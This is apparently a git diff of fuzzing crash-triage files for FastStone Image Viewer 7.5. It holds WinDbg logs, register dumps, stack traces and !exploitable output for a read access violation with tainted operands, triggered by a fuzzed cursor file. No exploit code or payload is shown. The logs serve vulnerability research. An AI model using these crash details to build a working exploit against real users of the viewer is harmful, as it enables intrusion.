+BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/54155/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/54155/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..343b067 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/54155/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/54660/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/54660/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/54660/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/54660/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/54660/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..a6532a7 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/54660/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/54660/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/54660/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..45689cf --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/54660/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x5BC: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x5BC: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(5bc.1114): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0001ed2d ecx=07e37b10 edx=00003879 esi=ffdd0010 edi=0fce4fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.712899554094367840000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 7.645580000000000000000e+0006 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=3.58075e+034 -0.0132186 -4.31354e+021 -2.42232e-015 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f18130 07e95930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003be000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003be000 6fc6c1ed 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a5 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003be000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/54660/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/54660/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..45689cf --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/54660/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x5BC: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x5BC: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(5bc.1114): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0001ed2d ecx=07e37b10 edx=00003879 esi=ffdd0010 edi=0fce4fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.712899554094367840000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 7.645580000000000000000e+0006 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=3.58075e+034 -0.0132186 -4.31354e+021 -2.42232e-015 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f18130 07e95930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003be000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003be000 6fc6c1ed 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a5 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003be000 00000000 